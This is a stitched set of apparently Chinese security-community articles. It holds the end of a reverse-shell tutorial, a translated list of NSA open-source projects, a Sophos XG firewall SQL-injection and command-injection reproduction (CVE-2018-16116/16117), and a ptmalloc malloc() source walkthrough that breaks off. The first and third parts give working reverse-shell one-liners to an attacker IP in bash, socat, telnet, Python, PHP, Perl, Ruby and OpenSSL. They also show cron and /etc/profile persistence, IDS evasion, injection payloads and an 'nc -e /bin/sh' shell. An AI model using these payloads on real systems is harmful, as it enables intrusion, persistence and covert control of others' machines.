比如，当前用户名为root，我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
*/1 * * * * /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1
#每隔一分钟，向47.xxx.xxx.72的2333号端口发送shell
### 将反弹shell的命令写入/etc/profile文件
将以下反弹shell的命写入/etc/profile文件中，/etc/profile中的内容会在用户打开bash窗口时执行。
/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令
当目标主机管理员远程连接该主机时，就会执行该命令，成功获得目标机的shell：
## 利用Socat反弹shell
Socat是Linux 下一个多功能的网络工具，名字来由是”Socket
CAT”，因此可以看出它是基于socket的，其功能与netcat类似，不过据说可以看做netcat的加强版，事实上的确也是如此。我这里只简单的介绍下怎么使用它开启监听和反弹shell，其他详细内容可以参见这里：<http://brieflyx.me/2015/linux-tools/socat-introduction/>
安装Socat的方法很简单：
* Ubuntu等可以直接使用 `apt-get install socat` 命令进行安装
* 也可以去官网下载源码包：<http://www.dest-unreach.org/socat>
**攻击机开启本地监听：**
socat TCP-LISTEN:2333 - 或
nc -lvvp 2333
**目标机主动连接攻击机：**
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
执行效果如下：
## 利用Telnet反弹shell
当nc和/dev/tcp不可用，且目标主机和攻击机上支持Telnet服务时，我们可以使用Telnet反弹shell。
### 方法一
**攻击机开启本地监听：**
nc -lvvp 2333
**目标机主动连接攻击机：**
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
执行效果如下：
### 方法二
**攻击机需要开启两个本地监听：**
nc -lvvp 2333
nc -lvvp 4000
**目标机主动连接攻击机：**
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000
如上图所示，获得shell后，在攻击机2333端口的终端上输入的命令会在目标机上执行，执行的回显将通过4000端口的终端显示出来。
## 各种脚本反弹shell
### Python 脚本反弹shell
当目标主机上有python环境时，我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带，所以使用起来也较为方便，即使没有安装，我们手动安装也很方便。
**攻击机开启本地监听：**
nc -lvvp 2333
**目标机主动连接攻击机：**
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
执行效果如下：
### php 脚本反弹shell
当目标主机上有php环境时，我们可以用php来反弹shell。
**攻击机开启本地监听：**
nc -lvvp 2333
**目标机主动连接攻击机：**
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
### Perl 脚本反弹shell
当目标主机上有perl环境时，我们可以用perl来反弹shell。
**攻击机开启本地监听：**
nc -lvvp 2333
**目标机主动连接攻击机：**
perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
执行效果如下：
### Ruby脚本反弹shell
当目标主机上有ruby环境时，我们可以用ruby来反弹shell。
**攻击机开启本地监听：**
nc -lvvp 2333
**目标机主动连接攻击机：**
ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
执行效果如下：
## 使用Metasploit生成反弹shell用的一句话
强大的Metasploit框架也为我们提供了生成一句话反弹shell的工具，即msfvenom，绝对的实用。当我们不记得前面说的所有反弹shell的反弹语句时，只要我们有Metasploit，那么我们随时都可以使用
`msfvenom -l` 来查询生成我们所需要的各类命令行一句话，具体使用方法如下。
我们直接可以使用 `msfvenom -l`
结合关键字过滤（如cmd/unix/reverse），列出我们需要生成的各类反弹shell一句话的payload：
msfvenom -l payloads | grep 'cmd/unix/reverse'
如上图所示，metasploit支持生成反弹shell一句话的类型非常丰富，大家可以依据渗透测试对象自行选择使用。比如，我们获取一个python反弹shell的一句话：
msfvenom -p cmd/unix/reverse_python LHOST=47.xxx.xxx.72 LPORT=2333 -f raw
将生成的python反弹shell的一句话在目标主机上执行即可：
## 反弹shell后获取模拟终端
其实，上面所讲的各种方法获取的shell都不是一个标准的虚拟终端环境，它仅仅是一个标准输入。你会发现存在一个问题，就是即使我们获取了目标虚拟终端控制权限，但是往往会发现其交互性非常的差，回显信息与可交互性非常的差和不稳定，具体见情况有以下几个种。
* 获取的虚拟终端没有交互性，我们想给添加的账号设置密码或执行sudo等命令，无法完成。
* 标准的错误输出无法显示，无法正常使用vim等文本编辑器等。
* 获取的目标主机的虚拟终端使用非常不稳定，很容易断开连接。
这往往都是因为我们获取的shell并不是标准的虚拟终端，为了能够完成输入密码等操作，我们必须模拟一个真正的终端设备。
我们其实可以借助于python默认包含的一个pty标准库来获取一个标准的虚拟终端环境。Python在现在一般发行版Linux系统中都会自带，所以使用起来也较为方便，即使没有安装，我们手动安装也很方便。
我们只需在获取的shell里面输入如下命令，即可模拟一个终端设备：
python -c "import pty;pty.spawn('/bin/bash')"
如上图所示，成功模拟在shell中出了一个终端设备，并成功执行了sudo等命令。
## 使用OpenSSL反弹加密shell
在上文中，我们总结了很多反弹shell得方法，但是我发现这种反弹 shell 方式都有一个缺点，那就是 **所有的流量都是明文传输的**
。这些通过shell通过传输的流量都可以被管理员直接抓取并理解，当目标主机网络环境存在网络防御检测系统时（IDS、IPS等），网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此，我们需要对通信的内容进行混淆或加密，这时可以选择使用
OpenSSL 反弹一个加密的 shell。
### OpenSSL 简介
在计算机网络上，OpenSSL 是一个开放源代码的软件库包，应用程序可以使用这个包来进行安全通信，避免窃听，同时确认另一端连接者的身份。
>
> SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的，高层的应用层协议(例如：HTTP，FTP，TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密，从而保证通信的私密性。
在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书：
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
生成自签名证书时会提示输入证书信息，如果懒得填写可以一路回车即可：
### 使用OpenSSL反弹加密shell
实验环境：Linux
目标机：
* 系统：Linux
* IP：192.168.1.8
攻击机：
* 系统：Linux
* IP：47.xxx.xxx.72
假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书，在攻击机上使用 OpenSSL 监听一个端口，在这里使用 2333 端口：
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
此时 OpenSSL 便在攻击机的 2333 端口上启动了一个 SSL/TLS server。
这时在目标机进行反弹 shell 操作，命令为：
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s
这样攻击者便使用 OpenSSL 反弹了目标机一个加密的 shell。
## Ending......
> 参考：
>
> <https://www.cnblogs.com/threesoil/p/10958126.html>
>
> <https://www.anquanke.com/post/id/87017>
>
> <https://blog.csdn.net/qq_36119192/article/details/84641379>
>
>
> [https://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247499270&idx=3&sn=53e64aa3bb989992bb76773b35a83b71&chksm=](https://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247499270&idx=3&sn=53e64aa3bb989992bb76773b35a83b71&chksm=f9e3915dce94184b46b41c1cce5334a0b18f72773b5e5a918316e77717f5f04ca8a083ee1175&mpshare=1&scene=23&srcid=1218GWYAerBiIEpRSlSvuUoD&sharer_sharetime=1608272916742&sharer_shareid=fb28a23f5efa30b40dcc9905f48f84bf#rd) | 社区文章 |
# 【技术分享】NSA在Github上公开32个项目
|
##### 译文声明
本文是翻译文章，文章来源：nationalsecurityagency.github.io
原文地址：<https://nationalsecurityagency.github.io/>
译文仅供参考，具体内容表达以及含义原文为准。
下面所谈到的技术都是 **美国国家安全局（NSA）** 开发的，现以开源软件的方式向公众公开。NSA
技术转化计划（TTP）希望与通过合作的方式与有创新的机构将他们的技术转化到商业市场。开源软件（OSS）通过协作的方式进行技术开发。鼓励大家使用和采用相关项目。通过采用，改进或者商业化软件等方式，使公众受益。政府也会受益于开源社区对技术的改进。
NSA的官方github账号：
[https://github.com/nationalsecurityagency](https://github.com/nationalsecurityagency)
负责NSA信息保障任务：
<https://github.com/nationalsecurityagency>
**
**
**项目介绍**
****
**APACHE ACCUMULO**
[https://accumulo.apache.org/](https://accumulo.apache.org/)
一种经过分类的分布式密钥/值存储项目，提供强大的，可扩展的数据存储和检索。它添加了基于单元的访问控制和服务器端编程机制，可以在数据管理过程中的各个点修改键/值对。
**CASA**
[https://github.com/iadgov/certificate-authority-situational-awareness](https://github.com/iadgov/certificate-authority-situational-awareness)
在Windows系统上标识意外和禁止的证书颁发机构。
**CONTROL FLOW INTEGRITY RESEARCH（控制流程完整性研究）**
[https://github.com/iadgov/control-flow-integrity](https://github.com/iadgov/control-flow-integrity)
一种提出的基于硬件的方法，用于阻止在“IT生态系统的硬件控制流完整性”研究论文中描述的已知的内存损坏利用技术。
**DCP**
[https://github.com/nationalsecurityagency/dcp](https://github.com/nationalsecurityagency/dcp)
一个用于减少为了法庭取证分析进行复制硬件驱动器所需时间的程序。
**EOWS**
一个启用Web的原型工具，实现了开放式清单交互语言（OCIL）功能。它主要用于创建，管理和答复调查问卷。
**FEMTO**
[https://github.com/femto-dev/femto](https://github.com/femto-dev/femto)
一个用于对字节序列进行查询的索引和搜索系统。它可以对任意格式的数据提供轻量快速搜索。
**GOSECURE**
[https://github.com/iadgov/gosecure](https://github.com/iadgov/gosecure)
一个在Linux和Raspberry Pi 3上安装的易于使用和便携式的虚拟专用网络系统。
**GRASSMARLIN**
[https://github.com/iadgov/grassmarlin](https://github.com/iadgov/grassmarlin)
提供工业控制系统（ICS）、数据采集与监视控制（SCADA）网络的态势感知确保网络安全。
**JAVA PATHFINDER MANGO (JPF-MANGO)**
[https://babelfish.arc.nasa.gov/trac/jpf/wiki/projects/jpf-mango](https://babelfish.arc.nasa.gov/trac/jpf/wiki/projects/jpf-mango)
一种使用“formal ”方法进行分析的静态代码分析工具。它是NASA Ames Java
PathFinder项目的一部分，该项目是一个用于验证可执行Java字节码的系统。
**LEMONGRAPH/LEMONGRENADE**
[https://github.com/nationalsecurityagency/lemongraph](https://github.com/nationalsecurityagency/lemongraph)
[https://github.com/nationalsecurityagency/lemongrenade](https://github.com/nationalsecurityagency/lemongrenade)
基于日志的事务图数据库引擎由单个文件支持。主要用例是支持流种子集扩展，迭代相关和递归文件处理。
**LOCKLEVEL**
[https://github.com/iadgov/locklevel](https://github.com/iadgov/locklevel)
一个快速构建的原型，演示了一种评估Windows系统如何实现前10个信息保障缓解策略的一些方法。
**MAPLESYRUP**
[https://github.com/iadgov/maplesyrup](https://github.com/iadgov/maplesyrup)
通过检查处理器的系统寄存器接口来评估基于ARM的设备的安全状态。
**APACHE NIFI**
自动化系统之间的数据流。NiFi实现了基于流程编程的概念，解决了企业面临的常见数据流问题。
<https://nifi.apache.org/>
**ONOP**
一个用于网络监控，配置，部署和操作的开源平台。通过在OpenFlow的网络控制器上的SDN应用程序，大大简化了企业网络的操作。
<https://github.com/onop>
**OPAL**
管理和标准化现有的商用硬盘
**OpenAttestation 开放认证系统**
[https://github.com/openattestation/openattestation](https://github.com/openattestation/openattestation)
通过建立系统的可信平台模块（TPM）的基线测量并监控该测量中的变化来验证系统的完整性。 最初是基于NSA的启动主机完整性（HIS）软件。
该项目提供一个云管理工具SDK源码和二进制文件
主要功能包括: 对主流Linux主机操作系统的支持, 基于PCR的报告模式和策略规则,基于RESTful的Query API, 参考门户网站/ GUI实现,
历史PCR数据跟踪/比较, 白名单管理, 认证服务器的灵活访问控制支持tomcat 2-way SSL/TLS的Query
APIs,为ISVs通过HOOK实现自定义访问控制, 资产标签, SAML报告, 使用资产标记Open Stack扩展
**OZONE Widget Framework (OWF)**
[https://github.com/ozoneplatform/owf-framework](https://github.com/ozoneplatform/owf-framework)
小部件框架（OWF）是一种框架，允许来自不同服务器的数据在浏览器窗口内进行通信，而不会将信息发送回相应的服务器. 这种独特的功能允许OWF
web平台提供分布式数据处理.它包含一个安全的, in-browser ，pub-sub事件系统允许部件来自不同域的信息共享。集合分散的内容和in-browser消息.这使得OWF特别适合于需要组合能力的传统大型分布式enterprises, 用它快速链接应用程序并制作整合工具。
**APACHE PIRK**
[https://incubator.apache.org/projects/pirk.html](https://incubator.apache.org/projects/pirk.html)
允许用户私下和安全地从他们访问的数据集中获取信息，而不向数据集所有者或观察者透露关于所查询的问题或所获得结果的任何信息。
**PRESSUREWAVE**
Couples corporate对象存储功能，具有灵活的策略语言，用于在同一系统中定制访问控制、保留和存储数据。
**REDHAWK**
[https://github.com/redhawksdr](https://github.com/redhawksdr)
软件定义无线电（SDR）框架旨在支持实时软件无线电应用的开发，部署和管理。
**SAMI**
[https://github.com/iadgov/splunk-assessment-of-mitigation-implementations](https://github.com/iadgov/splunk-assessment-of-mitigation-implementations)
测量在Windows系统上部署前10个IA缓解策略的具体评级。
**SCAP SECURITY GUIDE (SSG)**
[https://fedorahosted.org/scap-security-guide](https://fedorahosted.org/scap-security-guide)
使用安全内容自动化协议（SCAP）提供安全指导，基准和相关的验证机制，以增强红帽产品。
**SECURE HOST BASELINE (SHB)**
[https://github.com/iadgov/secure-host-baseline](https://github.com/iadgov/secure-host-baseline)
组策略对象，配置文件，合规性检查 和 支持Windows 10 实现DoD Secure Host Baseline(国防部安全基线)的脚本。
**SECURITY-ENHANCED LINUX (SELINUX)**
[https://github.com/SELinuxProject](https://github.com/SELinuxProject)
检查在标准自由访问控制之后,检查允许的操作的Linux内核中的强制访问控制机制。 它可以根据定义的策略对Linux系统中的文件和进程及其执行的操作
执行规则。 SELinux自2.6.0版以来一直是Linux内核的一部分。
**SECURITY ENHANCEMENTS FOR ANDROID (SE ANDROID)**
[https://source.android.com/security/selinux](https://source.android.com/security/selinux)
通过对所有Android进程执行强制访问控制来限制基于安全策略的特权进程。SE Android已经是Android 4.3的一部分。
**SIMON AND SPECK**
[https://github.com/iadgov/simon-speck](https://github.com/iadgov/simon-speck)
轻量级的分组密码:Simon和Speck家族
**SYSTEM INTEGRITY MANAGEMENT PLATFORM (SIMP)**
[https://github.com/nationalsecurityagency/simp](https://github.com/nationalsecurityagency/simp)
自动化系统的系统配置和LINUX合规性操作，因此，它们符合行业最佳实践。
**TIMELY**
[https://github.com/nationalsecurityagency/timely](https://github.com/nationalsecurityagency/timely)
提供对Accumulo中存储的时间序列数据的安全访问。
**UNFETTER**
[https://github.com/iadgov/unfetter/](https://github.com/iadgov/unfetter/)
为网络维护者，安全专业人员和决策者提供一个定量测量其安全状态有效性的机制。
**WALKOFF**
[https://github.com/iadgov/walkoff](https://github.com/iadgov/walkoff)
一个活跃网络防御开发框架，使用者编写一次，然后支持部署在启用WALKOFF的业务流程工具中。
**WATERSLIDE**
[https://github.com/waterslidelts/waterslide](https://github.com/waterslidelts/waterslide)
用于处理元数据的体系结构，其设计用于从多个源接收一组流事件，通过一组模块进行处理，并返回有价值的输出。
**WELM**
检索Windows事件日志消息中嵌入操作系统的二进制文件的定义。 | 社区文章 |
# SophosXG 防火墙:CVE-2018-16116，CVE-2018-16117漏洞分析复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 复现环境
物理机：MacOS
工具：VM，Firefox，JD-GUI，Burpsuite
## CVE-2018-16116
### 漏洞介绍
Sophos XG firewall是英国Sophos公司的一款下一代端点保护与企业级防火墙产品。Admin Portal是其中的一个管理门户。
Sophos XG firewall 17.0.8 MR-8版本中的Admin
Portal的AccountStatus.jsp文件存在SQL注入漏洞。该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。
[详情](https://nvd.nist.gov/vuln/detail/CVE-2018-16116)
### 环境配置
**安装虚拟机**
首先是在Sophos官网下载虚拟机文件，下载前需要注册账号
[免费试用](https://secure2.sophos.com/zh-cn/products/next-gen-firewall/free-trial.aspx)
[下载链接](https://www.sophos.com/en-us/mysophos/my-account/network-protection/download-installers.aspx)
下载完之后，导入VM
虚拟机默认的管理员密码是 admin
输入密码即可进入虚拟机
**配置虚拟机**
这里主要是配置IP地址和管理员web界面
在虚拟机内部查看虚拟机IP
虚拟机的静态IP是172.16.16网段，所以需要在VM里新建一个虚拟网卡
访问[https://172.16.16.16:4444配置管理员信息](https://172.16.16.16:4444%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86%E5%91%98%E4%BF%A1%E6%81%AF)
[详细配置链接](https://vimeo.com/152186403)
配置好之后可以登陆管理员界面
**固件降级**
因为下载的是最新版的固件，存在漏洞的版本是16 及之前的版本, 16.5 OEM, 17.0，这里我使用17.0.8进行漏洞复现。
在管理员界面可以替换虚拟机使用的固件。
上传完成后重启即可。
### 漏洞分析
**提取源代码**
根据CVE报告，漏洞的位置在/webconsole/webpages/myaccount/AccountStatus.jsp文件中，这是防火墙的前端文件，所以在虚拟机中直接查找这个目录
进入虚拟机shell的方法是先选择5再选择3
我们得到的是一个root权限账户
查找文件位置
打包整个文件夹，并用nc传给物理机
tar -zcvf a.tar.gz webconsole/
nc 172.16.16.1 8888 < a.tar.gz
物理机: nc -l 8888 > a.tar.gz
如果运行第一个命令出现read-only file system报错，使用一个命令即可
mount -o remount -w /
将源码在本地解压，因为是Java的代码，所以我使用JD-GUI进行反编译。
**分析漏洞代码**
根据漏洞的描述，漏洞点在AccountStatus.jsp，这个文件不是很大，所以比较容易分析，通过源码的审计,以及漏洞描述中说的在GET
parameter username 时候存在问题，很快可以定位漏洞的位置，先是在280行
if (paramHttpServletRequest.getParameter("username") != null) {
str6 = paramHttpServletRequest.getParameter("username");
} else {
str6 = sessionBean.getUserName();
}
这里先判断username内容是不是NULL，不为NULL就调用getParameter()方法获取GET请求的参数，如果是NULL使用sessionBean.getUserName()通过session获取username。
接下来username的值被传递进入getRecordByName函数
UserBean userBean1 = (UserBean)(new UserHelper()).getRecordByName(str6, sqlReader);
接下来先讲username转换为小写再与str2拼接，调用prepareQuery函数
public EntityBeanAdapter getRecordByName(String paramString, SqlReader paramSqlReader) {
ResultSetWrapper resultSetWrapper = null;
UserBean userBean = null;
String str1 = toLower(paramString);
CyberoamLogger.debug("User Management", "toLower(" + paramString + ") = " + str1);
String str2 = " where username = lower('" + str1 + "')";
try {
str2 = prepareQuery(str2);
......
......
这个函数将上面的str2与str进行拼接，到了这个地方SQL查询语句已经拼接完毕，没有任何过滤的直接执行，这也就是出现SQL注入的原因。
public static String prepareQuery(String paramString) {
String str = "select userid,name,username, password,scheduleid,description,to_char(dob,'DD/MM/YYYY') as dob,createdby,to_char(createdate,'DD/MM/YYYY') as createdate,renewby,to_char(renewdate,'DD/MM/YYYY') as renewdate,active,emailid,usertype,authrole,groupid,webfilterid,appfilterid,accesspolicyid,ipallocation,allottedminutes,totalusedminutes,to_char(expiredate,'DD/MM/YYYY') as expiredate,bwpolicyid,maxloginallowed,datatransferpolicyid,allotteduploaddatatransfer,allotteddownloaddatatransfer,allottedtotaldatatransfer,macbinding,spamdigest,sslvpnpolicy,surfingquotapolicyid,scheduleid,applianceloginrestriction,mobileno,countrycode,clientlesspolicy from tbluser ";
if (paramString != null)
str = String.valueOf(str) + paramString;
return str;
}
这里还有一个参数需要注意就是popup，在AccountStatus.jsp 249行是关于popup的check
if (paramHttpServletRequest.getParameter("popup") != null && Integer.parseInt(paramHttpServletRequest.getParameter("popup")) == 0)
try {
String str63 = null;
int i7 = 0;
if (sessionBean != null) {
str63 = sessionBean.getUserName();
UserHelper userHelper = new UserHelper();
UserBean userBean = (UserBean)userHelper.getRecordByName(str63, sqlReader);
i7 = userBean.getUserType();
if (i7 == 7) {
jspWriter1.write("\r\n\t\t\t\t\t<script>\r\n\t\t\t\t\t\tlocation.href = \"/userportal/webpages/myaccount/login.jsp\";\r\n\t\t\t\t\t</script>\r\n\t\t\t\t\t");
try {
sqlReader.close();
} catch (Exception exception) {}
return;
}
......
......
如果popup不是NULL且为0，就进入if条件中，通过sessionBean.getUserName()获取用户名，如果
i7==7就会return，否则继续向下执行。如果我们要触发漏洞肯定是要在这里不能return的因为，如果服务器通过session获取用户名就无法使用我们传入的恶意username，通过我的实验，admin账户会触发i7==7，所以猜测admin账户的type是7，那么对于admin账户的数据包在构造的时候就需要将popup设置为1.
**触发漏洞**
通过分析sophos的web架构，可以发现sophos提供了管理员登陆接口在4444接口，普通用户在443端口。之前的操作都是在4444端口，在管理员界面可以添加一个普通用户
**4444端口**
第一步就是要正常的访问AccountStatus.jsp，首先在4444端口进行验证。
进行正常访问4444端口，使用burp抓包
随便选一个正常的流量包即可，这里我主要是要获取正常的cookie然后再构造触发漏洞的数据包
我先直接访问这个有漏洞点的jsp
显示的是500，通过分析Java源码主要是参数没有构造完全导致报错，源码中有对popup参数的判断，所以需要将popup加上，
最终payload如下：
GET /webconsole/webpages/myaccount/AccountStatus.jsp?popup=1&username=abc');select+PG_SLEEP(5)--+ HTTP/1.1
response经过5秒后返回，说明SQL注入成功
**443端口**
方法和上面一样，先访问443端口，登陆普通用户，再抓包，修改一个包的内容
payload：
GET /userportal/webpages/myaccount/AccountStatus.jsp?popup=0&username=abc');select+PG_SLEEP(5)--+ HTTP/1.1
or
GET /userportal/webpages/myaccount/AccountStatus.jsp?popup=1&username=abc');select+PG_SLEEP(5)--+ HTTP/1.1
这个漏洞到这里已经分析完毕，后续可以使用SQLmap进行其他的利用。
## CVE-2018-16117
### 漏洞介绍
Sophos XG防火墙17.0.8 MR-8的管理门户中的/ webconsole / Controller中的命令注入漏洞允许远程身份验证的攻击者通过“
dbName” POST参数中的字符执行任意OS命令。
[详细介绍](https://nvd.nist.gov/vuln/detail/CVE-2018-16117)
[详细介绍](https://github.com/klsecservices/Advisories/blob/master/KL-SOPHOS-2018-002.md)
### 环境配置
这里使用上面的环境即可
### 漏洞分析
**分析漏洞代码**
漏洞介绍中说明了这个漏洞出现在管理员门户的页面的/ webconsole / Controller URL，这里我主要记录下我寻找漏洞代码位置的过程。
**关键词查找**
因为这是“dbName”参数的命令注入，所以漏洞的位置一定使用了dbName的值，并且dbName我们可以控制，也即是一个可控参数，所以我先在代码里寻找哪里出现了这个字符串
两个文件出现了引用，进一步分析
首先put方法不是获取取，不需要看
最后发现431行的代码是从dbname给变量赋值
再寻找哪里使用str1
进入getLogsData，str1对应着paramString3，查看使用了paramString3的函数，其中getFilePosandStartThread函数内存在命令执行
这里直接将参数进行拼接然后执行，存在漏洞
**查看路由配置**
漏洞说明中说的出现问题的URL /webconsole /
Controller是一个路由，那么要找到这个路由对应的JSP文件，就需要看web的路由配置，在/WEB-INF/web.xml 查看路由信息
URL /Controller 对应的servlet name也为Controller
servlet name 为Controller对应的文件为CyberoamCommonServlet
结合前面的关键词分析的结果，在CyberoamCommonServlet.jsp中经历了多次函数调用，最终调用了getLogViewerLogs 触发了漏洞
通过对源码的审计，最后完整的执行流程为
流程图如下：
**触发漏洞**
根据源码的分析，这个漏洞点在管理员页面的日志模块里，访问日志模块，使用burpsuite抓包
查找dbname关键字
因为这个漏洞没有输出的回显，所以我使用构造ping命令来检测，漏洞的触发
aaa;ping 172.16.16.1
使用URL转码，填充进dbname字段内，发送
漏洞成功触发
**Get shell**
因为这里可以执行任意命令，所以getshell我最开始的思路是上传一个JSP木马，然后我使用了JSP一句话木马，上传后发现只要访问这个JSP就会跳转到登陆界面，这里我认为是路由的问题，解决这个问题可以上传一个新的路由配置文件上去或者找找有没有目录可以直接访问。
但是我认为这种方法不好，因为对网站源码的改变容易被管理员发现不是一个隐蔽的方法，然后我想起来这个服务器里有NC命令，就使用NC做一个反弹shell
URL编码下面的命令，填充发送
aaa;nc 172.16.16.1 7777 -e /bin/sh
成功getshell | 社区文章 |
# linux_ptmalloc下malloc()的过程：有 ptmalloc 源码
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 文章描述
本文将尽量详细地给出 ptmalloc 下调用 malloc() 进行内存分配的实现过程
### __libc_malloc() 和 _int_malloc()
实际上，在glibc中没有 malloc(), 只能找到 __libc_malloc() 和 _int_malloc(),而
_int_malloc()才是进行内存分配的函数
### __libc_malloc()
对 _int_malloc() 的简单封装
1. 检查是否有内存分配钩子
2. 寻找 arena 来分配内存： arena_get(ar_ptr, bytes);
3. 调用 _int_malloc() （进行内存的分配）：victim = _int_malloc(ar_ptr, bytes);
## 特殊情况的处理
### 找不到可以用的 arena
_int_malloc()
> 进行内存分配的核心函数
1. 根据请求内存块的大小以及对应大小的 chunk 所在的 bins/bin 实现了不同的分配算法
2. 检查 空闲chunk 能否符合需要，符合则分配
3. 如果所有的 空闲chunk 都不能符合需要，会进行一系列操作，如合并chunk，考虑 top chunk
4. 当 top chunk 也无法满足时，向操作系统申请内存
_int_malloc() 的变量
static void *_int_malloc(mstate av, size_t bytes) {
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */
mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */
mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */
const char *errstr = NULL;
/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/
checked_request2size(bytes, nb);
fast bin 和 small bin 分配图
fast bin:LIFO
> 如果申请的内存在 fast bin 范围内
1. 获得对应的 fast bin 的下标： idx
2. 获得对应的 fast bin 的头指针：fb
3. 遍历对应的 fast bin ，检查是否有空闲chunk：
* 如果有空闲chunk，检查该 空闲chunk 的大小与索引是否一致
* 如果没有空闲chunk，去对应的 small bin 中寻找，如果 small bin 中也没有，则进入大循环
4. 有空闲chunk，获得 头部chunk指针，检查其大小是否符合在对应 fast bin 的范围
5. 大小符合将其取出，并将获得的 chunk 转换为 mem模式
6. 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast())) {
// 得到对应的fastbin的下标
idx = fastbin_index(nb);
// 得到对应的fastbin的头指针
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp = *fb;
// 利用fd遍历对应的bin内是否有空闲的chunk块，
do {
victim = pp;
if (victim == NULL) break;
} while ((pp = catomic_compare_and_exchange_val_acq(fb, victim->fd,
victim)) != victim);
// 存在可以利用的chunk
if (victim != 0) {
// 检查取到的 chunk 大小是否与相应的 fastbin 索引一致。
// 根据取得的 victim ，利用 chunksize 计算其大小。
// 利用fastbin_index 计算 chunk 的索引。
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
// 细致的检查。。只有在 DEBUG 的时候有用
check_remalloced_chunk(av, victim, nb);
// 将获取的到chunk转换为mem模式
void *p = chunk2mem(victim);
// 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
small bin:FIFO
> 如果申请的内存在 small bin 范围内
1. 获取对应的 small bin 的索引
2. 获取对应的 small bin 的头指针：bin
3. 获取对应的 small bin 中的最后一个 chunk 的指针： victim
4. 判断 bin 是否等于 victim
* 如果 bin == victim, 说明 small bin 为空
* 如果 bin!=victim, 则有两种情况:
* small bin 还没有初始化：初始化，将 fast bins 中的 chunk 合并
* small bin 有空闲chunk：
1. 如果有空闲chunk：
* 获得倒数第二个chunk：bck=victim->bk
* 检查bck->fd 是否为 victim, 防止伪造
* 设置 victim 的 inuse位
* unlink：将 victim 指向的 chunk 取下分配，并将获得的 chunk 转换为 mem模式
5. 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim = last(bin)，获取 small bin 的最后一个 chunk
// 如果 victim = bin ，那说明该 bin 为空。
// 如果不相等，那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况，small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化，将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况，small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
